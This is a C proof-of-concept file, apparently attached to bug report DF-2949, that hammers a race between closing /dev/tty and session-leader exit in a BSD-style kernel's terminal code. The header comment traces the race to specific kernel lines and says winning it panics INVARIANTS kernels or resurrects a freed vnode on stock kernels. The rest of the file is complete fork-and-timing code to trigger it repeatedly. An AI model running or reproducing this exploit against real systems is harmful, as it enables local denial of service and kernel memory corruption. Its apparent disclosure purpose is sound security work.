DF-2949 / ctty_race_hammer.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * DF-2949 PoC — final hammer. * * One session per iteration: * L (leader): setsid + pty + TIOCSCTTY, then _exit(0) on GO. * exit1 -> ttywait -> ttyclosesession(S, 1) [tty.c:328] * 367: s_ttyvp = NULL * 369: vclrflags(vp, VCTTYISOPEN) * 370: VOP_CLOSE * 372: vn_unlock * 374: vrevoke(vp) (force-closes every fd on the tty vnode) * 379: vrele(vp) <- terminal reference drop * Vi (victims, same session): open /dev/tty pre-GO; spin to * GO+delta+i*30us; close() -> last /dev/tty fd -> cttyclose * [tty_tty.c:153..159]: unlocked read of cttyvp(), unlocked read of * VCTTYISOPEN, then vref(ttyvp). * * A victim descheduled between the flag read (:155) and the vref (:159) * that resumes after L's :379 vrele executes vref() with v_refcnt == 0 / * v_state == VS_INACTIVE -> "vref: bad refcnt" panic (vfs_lock.c:269) * on INVARIANTS kernels, or resurrects a freelist vnode on stock kernels. * * Benign overlap signal: "Warning: cttyclose: race avoided" (tty_tty.c:167) * plus close durations >> 100us (blocked at :160 through the teardown). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/time.h> #define NVICTIM 6 #define STAGGER_US 30 static int gopipe[2]; static long base_us = 700; static double now(void) { struct timeval tv; gettimeofday(&tv, NULL); return (tv.tv_sec + tv.tv_usec / 1e6); } static void leader(void); static void victim(int id); static void leader(void) { char sname[128]; if (setsid() < 0) _exit(1); int m = posix_openpt(O_RDWR | O_NOCTTY); if (m < 0) _exit(1); char *s = ptsname(m); if (s == NULL) _exit(1); snprintf(sname, sizeof(sname), "%s", s); int sl = open(sname, O_RDWR | O_NOCTTY); if (sl < 0) _exit(1); if (ioctl(sl, TIOCSCTTY, 0) < 0) _exit(1); for (int v = 0; v < NVICTIM; v++) { pid_t p = fork(); if (p == 0) victim(v); } char c; read(gopipe[0], &c, 1); _exit(0); } static void victim(int id) { char c; int fd; double tgo, target, t0, t1, dur; char buf[160]; int n, df; unsigned int seed = getpid(); signal(SIGHUP, SIG_IGN); fd = open("/dev/tty", O_RDWR); read(gopipe[0], &c, 1); tgo = now(); target = tgo + (base_us + id * STAGGER_US + (seed % 200) - 100) * 1e-6; while (now() < target) ; t0 = now(); if (fd >= 0) close(fd); t1 = now(); dur = (t1 - t0) * 1e6; if (dur > 150) { /* log only blocked/odd closes */ n = snprintf(buf, sizeof(buf), "V%d d=%.6f dur=%.1f fd=%d\n", id, t0 - tgo, dur, fd); df = open("/tmp/diag.log", O_WRONLY | O_APPEND | O_CREAT, 0644); if (df >= 0) { write(df, buf, n); close(df); } } _exit(0); } int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 100000000; long k; if (argc > 2) base_us = atol(argv[2]); pipe(gopipe); for (k = 0; k < iters; k++) { pid_t l = fork(); if (l == 0) leader(); write(gopipe[1], "gggggg", NVICTIM); int st; waitpid(l, &st, 0); if ((k % 500) == 0) { fprintf(stderr, "iter %ld\n", k); fflush(stderr); } } return (0); } |